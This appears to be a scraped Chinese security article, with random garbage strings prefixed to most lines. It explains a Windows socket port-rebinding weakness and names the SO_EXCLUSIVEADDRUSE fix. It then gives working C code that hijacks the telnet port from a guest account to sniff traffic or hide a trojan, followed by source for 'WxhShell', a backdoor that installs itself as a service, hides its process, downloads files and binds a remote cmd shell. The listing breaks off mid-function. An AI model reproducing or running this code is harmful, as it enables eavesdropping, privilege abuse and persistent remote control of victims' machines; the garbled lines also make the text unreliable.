在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Yw)Fbt^ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?3q@f\fZ _TUm$#@Y` saddr.sin_family = AF_INET;
s bnjy"Z% }pawIf4V saddr.sin_addr.s_addr = htonl(INADDR_ANY);
RlRs}yF 3vW4<:Lgy bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:q
(&$ Kkv<"^H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
g^l RG3a Ur!~<4GO 这意味着什么?意味着可以进行如下的攻击:
eT[&L @l]b H0>yi[2f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
f~ZEdq8 hw=GR_, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
89HsPB1"t dv!r. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,j178EX ?djQZ* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#U ASH& pRi<cO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C6jR=@42Q 66\jV6eH7L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+Gh7^v|" Qxa{UQh}9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6B6vP%H# |PP.<ce\- #include
gXy-Mpzp #include
gU;&$ #include
Ck'aHe22' #include
cb$-6ZE/ DWORD WINAPI ClientThread(LPVOID lpParam);
vFQ,5n;fF int main()
vt1lR5 {
!{Z~<Ky WORD wVersionRequested;
~OypE4./1 DWORD ret;
>jTp6tu, WSADATA wsaData;
*Y6xvib9* BOOL val;
I7(?;MpI SOCKADDR_IN saddr;
Vrkf(E3_V SOCKADDR_IN scaddr;
,
ZFE( int err;
(=
;N{u SOCKET s;
8P2 J2IU SOCKET sc;
)Gk`[*q ; int caddsize;
O !&,5 Dy HANDLE mt;
F9flSeN DWORD tid;
L0NA*C
wVersionRequested = MAKEWORD( 2, 2 );
fU+Pn@' err = WSAStartup( wVersionRequested, &wsaData );
,6,]#R
:J if ( err != 0 ) {
m3.sVI0I printf("error!WSAStartup failed!\n");
Q(Gl{#b return -1;
t ls60h }
1m@^E:w saddr.sin_family = AF_INET;
{whvTN1#dh ,}SCa'PB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
eQDX:b #07!-)Gv saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ST dNM\+ saddr.sin_port = htons(23);
_ZY\,_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UE"GJt`I {
|E)aT#$f' printf("error!socket failed!\n");
\Qy$I-Du return -1;
Z`Z5sj 4{ }
-{jdn%Y7CK val = TRUE;
1AD]v<M //SO_REUSEADDR选项就是可以实现端口重绑定的
pA}S5x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
r ?m6$ {
R 94^4I printf("error!setsockopt failed!\n");
`T&jPA9eY return -1;
z(13~38+ }
3n;K!L%zMT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
K8I$]M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6'-As=iw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1iBP,:>* jZ*WN|FK? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
s!B/WsK {
~O6\6$3b5E ret=GetLastError();
nH-V{=** printf("error!bind failed!\n");
j\&pej return -1;
# Su~`] }
v&
$k9)] listen(s,2);
[wnDHy6W while(1)
,5Vt]#F5@ {
WyhhCR=; caddsize = sizeof(scaddr);
PBjmGwg7 //接受连接请求
b Bc- ^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]9 w76Z if(sc!=INVALID_SOCKET)
f!_
ctp {
SU.ythU2,c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7^6uG6 if(mt==NULL)
K9Hqq7"% {
/j2H A^GT printf("Thread Creat Failed!\n");
X[yNFW}S2W break;
na+d;h*~y }
~NcQ1. }
@.C{OSHE CloseHandle(mt);
BMyzjteS+ }
S.*~C0" closesocket(s);
X6e/g{S) WSACleanup();
e^1uVN return 0;
|a^U] }
\}0-^(9zd DWORD WINAPI ClientThread(LPVOID lpParam)
f58?5(Dc| {
4,p;Km& SOCKET ss = (SOCKET)lpParam;
V ~{fB~ SOCKET sc;
DGESba\2+ unsigned char buf[4096];
;q>9W,jy SOCKADDR_IN saddr;
zCaT tb|@ long num;
gb|Q%LS9R DWORD val;
=n(3o$r( DWORD ret;
TI|/u$SJ<Z //如果是隐藏端口应用的话,可以在此处加一些判断
5e8AmY8; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}2 8= saddr.sin_family = AF_INET;
,E )|y4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0MF}^"R saddr.sin_port = htons(23);
[^YA=Khu if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eGL1 {
c3%@Wj:fo printf("error!socket failed!\n");
"/{RhY< return -1;
NQHz<3S[ }
8jlLUG:g val = 100;
Z~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4'1m4Ugg {
/b#l^x:j ret = GetLastError();
>w6taX return -1;
>o,^b\ }
s"KJiQKGM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
),:c+~@@kT {
~Heb1tl; ret = GetLastError();
rZXrT}Xh{W return -1;
!A3-0zN! }
bPKOw< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
y]
oaO+ {
aW_oD[l printf("error!socket connect failed!\n");
PUJ2`iP1^3 closesocket(sc);
68fiG closesocket(ss);
G"5D< ] return -1;
Lo.rvt
}
t&q N: J while(1)
jEdtJEPa {
T4/fdORS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
SMr13%KN/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
:nN1e //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W*DVi_\$y num = recv(ss,buf,4096,0);
=<@2#E) if(num>0)
PQmq5N6 send(sc,buf,num,0);
h"mi"H^o else if(num==0)
m0w;8uF2UV break;
UB`ToE|Ii num = recv(sc,buf,4096,0);
eYUr-rN+)z if(num>0)
pW0dB_ send(ss,buf,num,0);
Yj|eji7y else if(num==0)
/hrT break;
`A$!]&[~| }
) /vhclkb closesocket(ss);
S{]7C?4` closesocket(sc);
asiov[o; return 0 ;
N{SQ(%V }
IzOYduJ. OI1ud/>h Gc]~wD$ ==========================================================
mMx ;yZ F7L &=K$2y 下边附上一个代码,,WXhSHELL
JG[o"&Sd r~-.nb"P ==========================================================
5<pftTcZ 7\zZpPDV #include "stdafx.h"
fA%z*\ =h6
sPJ #include <stdio.h>
hRI"y":zD #include <string.h>
GPhl4#' #include <windows.h>
eivtH P #include <winsock2.h>
ZoB*0H- #include <winsvc.h>
c3*t_!@oC #include <urlmon.h>
1% F?B-k /iNa'W5\ #pragma comment (lib, "Ws2_32.lib")
ev0oO+u #pragma comment (lib, "urlmon.lib")
iI@jZVk EpS(o>' #define MAX_USER 100 // 最大客户端连接数
)Au6Nf
#define BUF_SOCK 200 // sock buffer
$8USyGi3J #define KEY_BUFF 255 // 输入 buffer
OH^N" L U t-B^x)gl #define REBOOT 0 // 重启
+MbIB&fRCB #define SHUTDOWN 1 // 关机
b*;"q9u5 &Cim!I #define DEF_PORT 5000 // 监听端口
[ xOzzp4 ;4M><OS! #define REG_LEN 16 // 注册表键长度
9odJr] #define SVC_LEN 80 // NT服务名长度
KTvzOI8 JXG"M#{ // 从dll定义API
`nKH"TaX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
qm Tb-~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Iz6y{E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Rj F'x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
f)c~cJz<q +_v$!@L8 // wxhshell配置信息
W3vi@kb] struct WSCFG {
!3iGz_y int ws_port; // 监听端口
rhpPCt char ws_passstr[REG_LEN]; // 口令
zWpqJK int ws_autoins; // 安装标记, 1=yes 0=no
ZKQ hbNT char ws_regname[REG_LEN]; // 注册表键名
bWl5(S` Z char ws_svcname[REG_LEN]; // 服务名
4L-:*b_v\ char ws_svcdisp[SVC_LEN]; // 服务显示名
L-pVltX char ws_svcdesc[SVC_LEN]; // 服务描述信息
xvzr:pP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2 oa#0`{ int ws_downexe; // 下载执行标记, 1=yes 0=no
*`j-i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
I$Qs;- ( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5qg2Zc~ +jg9$e " };
;fw1 ky
8e p // default Wxhshell configuration
ml@2wGyf struct WSCFG wscfg={DEF_PORT,
t NsPB6Z "xuhuanlingzhe",
"fg](Cp[z 1,
cJM: "Wxhshell",
<APB11 "Wxhshell",
mrm^e9*Z "WxhShell Service",
=X?\MVWB "Wrsky Windows CmdShell Service",
)
\Y7& "Please Input Your Password: ",
i>EgG5iJ 1,
7NC=*A~ "
http://www.wrsky.com/wxhshell.exe",
1h*)@ "Wxhshell.exe"
9ukg }_Hx };
D+~_TA 1)}=bhT // 消息定义模块
^8 ' sib
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
J--m[X char *msg_ws_prompt="\n\r? for help\n\r#>";
T081G`li char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
J7C4V'_ char *msg_ws_ext="\n\rExit.";
P5lqSA{6 char *msg_ws_end="\n\rQuit.";
H$af/^ char *msg_ws_boot="\n\rReboot...";
7nbB^2 char *msg_ws_poff="\n\rShutdown...";
_#$*y char *msg_ws_down="\n\rSave to ";
?JV|dM U yw-2]!n char *msg_ws_err="\n\rErr!";
s5RjIa0$7 char *msg_ws_ok="\n\rOK!";
pLMRwgzr KXV[OF&J char ExeFile[MAX_PATH];
AtR?J"3E int nUser = 0;
<I}2k HANDLE handles[MAX_USER];
5XuT={o int OsIsNt;
i"|$(2 bs9aE<j SERVICE_STATUS serviceStatus;
X7,PEA SERVICE_STATUS_HANDLE hServiceStatusHandle;
T&86A\D\z "x@='>:$ // 函数声明
p8s:g~ W int Install(void);
"<}&GcJbz int Uninstall(void);
L< zD<M int DownloadFile(char *sURL, SOCKET wsh);
+A~\tK{ int Boot(int flag);
e4~>G?rM_ void HideProc(void);
"Jjs"7 int GetOsVer(void);
zEZLKWm9- int Wxhshell(SOCKET wsl);
LqdY Qd51 void TalkWithClient(void *cs);
j)t+jcMUI int CmdShell(SOCKET sock);
& cNy int StartFromService(void);
Mv c`)_Md int StartWxhshell(LPSTR lpCmdLine);
+0),xu ;['[?wk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0&ByEN99 VOID WINAPI NTServiceHandler( DWORD fdwControl );
@!&}}"< O]f/r,4@ // 数据结构和表定义
\rykBxs SERVICE_TABLE_ENTRY DispatchTable[] =
mMMQ|ea {
o]IjK {wscfg.ws_svcname, NTServiceMain},
#,{+3Y&5-+ {NULL, NULL}
^m_yf|D$ };
nm7;ieMfr bCZ gcN // 自我安装
$A3<G-4O int Install(void)
i{D=l7j|w {
+GsWTEz char svExeFile[MAX_PATH];
XC7%vDIt HKEY key;
B2Xn?i3 l strcpy(svExeFile,ExeFile);
*m%]zj0bo $+}+zZX5 // 如果是win9x系统,修改注册表设为自启动
FgL,k if(!OsIsNt) {
+n}$pM|NKU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nW"q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y*{Zbz#{ RegCloseKey(key);
Rl|4S[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[i0Hm)Bd3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k%y9aO RegCloseKey(key);
?PTk1sB return 0;
3]-_q"Co4f }
`nUO l }
rbT)=-( }
p;?*}xa else {
S4witIK5 x.1-)\ // 如果是NT以上系统,安装为系统服务
!ZDzEP* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m\/ Tj0e if (schSCManager!=0)
O4<g%.HC6 {
Ev!{n SC_HANDLE schService = CreateService
@|a>&~xX (
{brMqE>P# schSCManager,
0J.dG/I% wscfg.ws_svcname,
:b[`
v wscfg.ws_svcdisp,
LJX-AO.4 SERVICE_ALL_ACCESS,
)} DUMq7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
pf4 ^Bk}e SERVICE_AUTO_START,
e T'nl,e| SERVICE_ERROR_NORMAL,
Vtppuu$ svExeFile,
>=iy2~Fz , NULL,
t6c<kIQ:-O NULL,
v){ .Z^_C NULL,
jkiTj~WE- NULL,
RFh"&0[ NULL
rQTr8DYH );
/yLZ/<WN if (schService!=0)
6 \B0^ {
\.XLcz CloseServiceHandle(schService);
2cu#lMq CloseServiceHandle(schSCManager);
HE<1v@jW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,:+dg(\r strcat(svExeFile,wscfg.ws_svcname);
+.RKi! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]4+s$rG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PL{Q!QJK' RegCloseKey(key);
74<!&t return 0;
PNW \*;j }
7^}Ll@ }
'gQidf CloseServiceHandle(schSCManager);
EL3|u64GO }
p2PY@d}}. }
q.Nweu!jQ tU"raP^= return 1;
4[ryKPa, }
Cw5%\K$= o`khz{SU: // 自我卸载
,n!vsIN int Uninstall(void)
a:~@CUD
>I {
_w@qr\4i= HKEY key;
7j5f ;O^+ s=?aox7 if(!OsIsNt) {
Bh&Ew
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)a}"^1 RegDeleteValue(key,wscfg.ws_regname);
\U%#nU{ RegCloseKey(key);
%iJ%{{f` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(2?G:+C 7 RegDeleteValue(key,wscfg.ws_regname);
ozsxXBh-`' RegCloseKey(key);
z}SND9-" return 0;
%7Kooq(i }
xr0haN\p" }
$o@R^sJ }
+Taa!hfys else {
]E3U
J!! qDWsvx] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
c= UU" if (schSCManager!=0)
bg|!'1bD`5 {
sqx`">R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\Mv":Lm1 if (schService!=0)
dQezd-y* {
Y}6n]n;uR if(DeleteService(schService)!=0) {
DN4#H` CloseServiceHandle(schService);
%}2@rLP CloseServiceHandle(schSCManager);
4^6.~6a return 0;
zr76_~B1u }
SFH-^ly&D CloseServiceHandle(schService);
wx=0'T-[ }
=1dI>M>tm CloseServiceHandle(schSCManager);
^s\3/z>b4! }
^EVc 95|Z }
{Hr$wa~ wLuv6\E return 1;
_eLWQ|6Fx }
59(U `X QD{:vG
g // 从指定url下载文件
iq?#rb P#I int DownloadFile(char *sURL, SOCKET wsh)
9^P2I)aD {
!BU)K'mj HRESULT hr;
Do?P<x o char seps[]= "/";
nW\(IkX\ char *token;
;%J5=f%z) char *file;
89o)M5KQ char myURL[MAX_PATH];
'NZGQebK char myFILE[MAX_PATH];
%Qn(rA@9 "a1O01n strcpy(myURL,sURL);
Fb2%!0i token=strtok(myURL,seps);
_RMQy~&b while(token!=NULL)
~
aZedQc {
{TXOQ>gY file=token;
QzGV.Mt2 token=strtok(NULL,seps);
JM0I(% Z% }
v}Wmd4Y' Bz8 &R|~>" GetCurrentDirectory(MAX_PATH,myFILE);
>5~7u\#9 strcat(myFILE, "\\");
m$>iS@R strcat(myFILE, file);
^ L:cjY/ send(wsh,myFILE,strlen(myFILE),0);
zH)_vW send(wsh,"...",3,0);
9-*NW0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]kktoP|D if(hr==S_OK)
B%<e FFV\ return 0;
"oJ(J{Jat else
eR']#Q46{T return 1;
B\j~)vg '(@YK4_M }
hJ%1 h
-_&MD/J // 系统电源模块
(J:dK=O@Z int Boot(int flag)
ic6L9>[ {
Y5A~E#zw HANDLE hToken;
[nN7qG TOKEN_PRIVILEGES tkp;
PW}OU9is p5c8YfM if(OsIsNt) {
+ R$?2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
pLoy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2x$x;
\*j tkp.PrivilegeCount = 1;
V7CoZnz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
vTr34n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A,i()R'I if(flag==REBOOT) {
vfvlB[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<FFJzNc+ return 0;
cErI%v}v0 }
bk#xiuwT else {
5$l9@0D.\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mAqDjRV1 return 0;
sB}]yw }
$,1dQeE }
wV<7pi else {
&R$Q\, if(flag==REBOOT) {
kv|,b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_ P ,@ return 0;
ESQ!@G/n }
g%J./F=@3 else {
sn\;bq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
o sdOw8 return 0;
tR`S#rk }
#JNy }
gzfb zt}? H9"= p return 1;
;'kI/(;;C }
T@+ClZi OS7RQw1 // win9x进程隐藏模块
10N,?a void HideProc(void)
u?Hb(xZtg= {
nW;kcS*A 3_ 2hC!u!K HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
VAj<E0> if ( hKernel != NULL )
&/F_*=VE {
P@ypk^v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tbj=~xYf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Z}Cqd?_') FreeLibrary(hKernel);
T nxKR$Hoh }
~@c-* g,lY ut return;
0%Q9}l#7 }
8Pmwzpk02 9 pKm*n& // 获取操作系统版本
X B I;Lg int GetOsVer(void)
TL-i=\{L:d {
}0eg{{g8 OSVERSIONINFO winfo;
oj.lj! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)5l u.R% GetVersionEx(&winfo);
~@M7&%] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?iSGH'[u return 1;
r%MyR8'k] else
R$0U<(/ return 0;
t{(Mf2GR1
}
0<P(M: a g{ (@uzqG // 客户端句柄模块
Bhuw(KeB int Wxhshell(SOCKET wsl)
8]*Q79 {
=y;@?=T SOCKET wsh;
19y
0$e_V struct sockaddr_in client;
OXtBJYe DWORD myID;
B3b,F # `ut)+T V while(nUser<MAX_USER)
!RMS+Mm? {
h%b hrkD int nSize=sizeof(client);
Qilj/x68 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zeOb Aw1O if(wsh==INVALID_SOCKET) return 1;
>}]H;&
l
U1\MA6pXW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
HWtPLlNt if(handles[nUser]==0)
!LSs9_w closesocket(wsh);
Q_lu`F| else
R7K nUser++;
kkfCAM }
RjtC:H&XZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZrcPgcF ,V2#iY.%}N return 0;
pI^=B-7 }
nZW4} ~0j >\\5"Sf // 关闭 socket
Vu|dV\N0* void CloseIt(SOCKET wsh)
7+8bL{ {
XARSGAuw closesocket(wsh);
a-Y6w5 nUser--;
w|G~Il ExitThread(0);
)kA2vX^=Z }
sL~, Ar~{= X // 客户端请求句柄
\]a uSO void TalkWithClient(void *cs)
PJwEA {
.HD ebi "o==4?*L SOCKET wsh=(SOCKET)cs;
d<Dn9,G char pwd[SVC_LEN];
Lw*1 .~ char cmd[KEY_BUFF];
{{zua-F char chr[1];
r`>~Lp` int i,j;
J[+Tj@n' TAAR'Jz S while (nUser < MAX_USER) {
>C^/,/%v 0#
UAjT3 if(wscfg.ws_passstr) {
P%jkKE?B4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[Yoa"K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ltg-w\?] //ZeroMemory(pwd,KEY_BUFF);
+9~ZA3DiP i=0;
|0DP}
`~ while(i<SVC_LEN) {
pP
oxVvG{ e5qvyUJM // 设置超时
{jUvKB_x fd_set FdRead;
Ps |QW struct timeval TimeOut;
"o<D;lO FD_ZERO(&FdRead);
_DrnL}9I7 FD_SET(wsh,&FdRead);
y3AL) TimeOut.tv_sec=8;
ZpTi:3> TimeOut.tv_usec=0;
3Pa3f >}- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
])68wqD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-_w~JCx p}r yKW\cJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s#`cX0L) pwd
=chr[0]; ;$[VX/A`f
if(chr[0]==0xd || chr[0]==0xa) { QS%,7'EG
pwd=0; wK ][qZ ]
break; e18T(g_i
} W&LBh%"g
i++; ZnQ27FcW
} % IPyCEJD
3li q9P_
// 如果是非法用户,关闭 socket 2}|vWKej{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k$?&]! <o
} !yk7HaP
X`tOO
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sFD!7;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s|KfC>#
D~7%};D[
while(1) { y#nSk%"t"
w0\4Wa
ZeroMemory(cmd,KEY_BUFF); n<+~ zQ
iF+S%aPd#
// 自动支持客户端 telnet标准 M Yu?&}%^
j=0; WY3_7k8u
while(j<KEY_BUFF) { U0zW9jB
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UzN8G$92qF
cmd[j]=chr[0]; B\NcCp`5
if(chr[0]==0xa || chr[0]==0xd) { @!,D%]8"
cmd[j]=0; -^y1iN'D
break; pO5v*oONz+
} :Z]/Q/$
j++; 8[f8k3g
} i{4'cdr?
+-'`Q Ae
// 下载文件 /S/tE
if(strstr(cmd,"http://")) { !+%Az*ik
send(wsh,msg_ws_down,strlen(msg_ws_down),0); e|35|I '
if(DownloadFile(cmd,wsh)) \}n !yYh(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {W]bU{%.
else v5P*<U Ax
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /1H9z`qV
} "@aq@mY@
else { 55(J&q
WNl&v]
switch(cmd[0]) { Ae3,W
'"'D.,[W2
// 帮助 6j?FRs
case '?': { 4;",@}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /
O|Td'Z
break; k q/t]%(
} 6zELe.tq
// 安装 b"`ru~]
case 'i': { \=$EmHF
if(Install()) zK[
7:<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5/zf
x
else Cca~Cq[%*(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;*n_N!v
break; pE~9o 9
}
$@5%5
// 卸载 j\%?<2dj=
case 'r': { 1y_fQ+\2A
if(Uninstall()) *vRNG 3D/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dxk;@Tz
else "
&_$V@S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _K*\}un2
break; aslU`#"
} myEGibhK
// 显示 wxhshell 所在路径 [u,hc/PL
case 'p': { ~% D^Ga7
char svExeFile[MAX_PATH]; jdV .{8@
strcpy(svExeFile,"\n\r"); CM+F7#T?n
strcat(svExeFile,ExeFile); nNd`]F^U
send(wsh,svExeFile,strlen(svExeFile),0); j;$6F/g
break; +9Xu"OFm
} ey'pm\Z
// 重启 a3b2nAI l
case 'b': { u^j8
XOT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^D%}V- "
if(Boot(REBOOT)) 8<E!rn-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4r68`<mn[
else { 6M
O|s1zk
closesocket(wsh); 3ybK6!g`[
ExitThread(0); @&!=m]D*
} U)O?|
VN^o
break; <XkkYI(
} ,6S_&<{
// 关机 o|zrD~&$
case 'd': { JL}hOBqfI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {mCKTyN+
if(Boot(SHUTDOWN)) +#de8/x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~0'_K1(H
else { zgEr ,nF
closesocket(wsh); vkDZv@
ExitThread(0); 3I(dC|d
} f}Ne8]U/Hc
break; jsZiARTZRl
} /Bg6z m
// 获取shell l(3'Re
case 's': { se^NQ=
CmdShell(wsh); s$SU
vo1J
closesocket(wsh); XvfcPI6
ExitThread(0); 7eaA]y~H
break; tEpIyC
} 1kz9>;Ud6
// 退出 #;qFPj- v
case 'x': { doxdRYKL
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |o; j0
CloseIt(wsh); P3,Z5|)
break; X~IRpzC
} [[/ }1%
// 离开 wHBHkz
case 'q': { CrRQPgl+u
send(wsh,msg_ws_end,strlen(msg_ws_end),0); uMiD*6,$<
closesocket(wsh); $ uz1
WSACleanup(); +l[Z2mW
exit(1); i5L+8kx4
break; ,T,B0
} >q}
!>k$B
} Z=e[
!c
} vy2*BTU?
=,/A\F
// 提示信息 !%Z)eO~Z
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P ],)
} V8KTNt%
} @&i#S}%/
+7U
A%q
return; 'NG^HLD/
} ( 7rz:
`[C v-
// shell模块句柄 Q*mMF@-:
int CmdShell(SOCKET sock) A|`Joxr
{ p ?Ij-uo"o
STARTUPINFO si; WcZo+r
ZeroMemory(&si,sizeof(si)); A/Fs?m{7U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k
vue@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8a":[Q[
PROCESS_INFORMATION ProcessInfo; 3;t@KuQ66
char cmdline[]="cmd"; Q)%8NVs
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #LrCx"_&
return 0; %(dV|,|v
} n}ZBU5_
;*j6d3E
// 自身启动模式 P&-D0T_
int StartFromService(void) @]y{M;
{ 8IT_mjj
typedef struct D
7;~x]*
{ #Tg|aW$(*
DWORD ExitStatus; V!kQuQJ>
DWORD PebBaseAddress; x]%4M\T``
DWORD AffinityMask; ,,wyydG
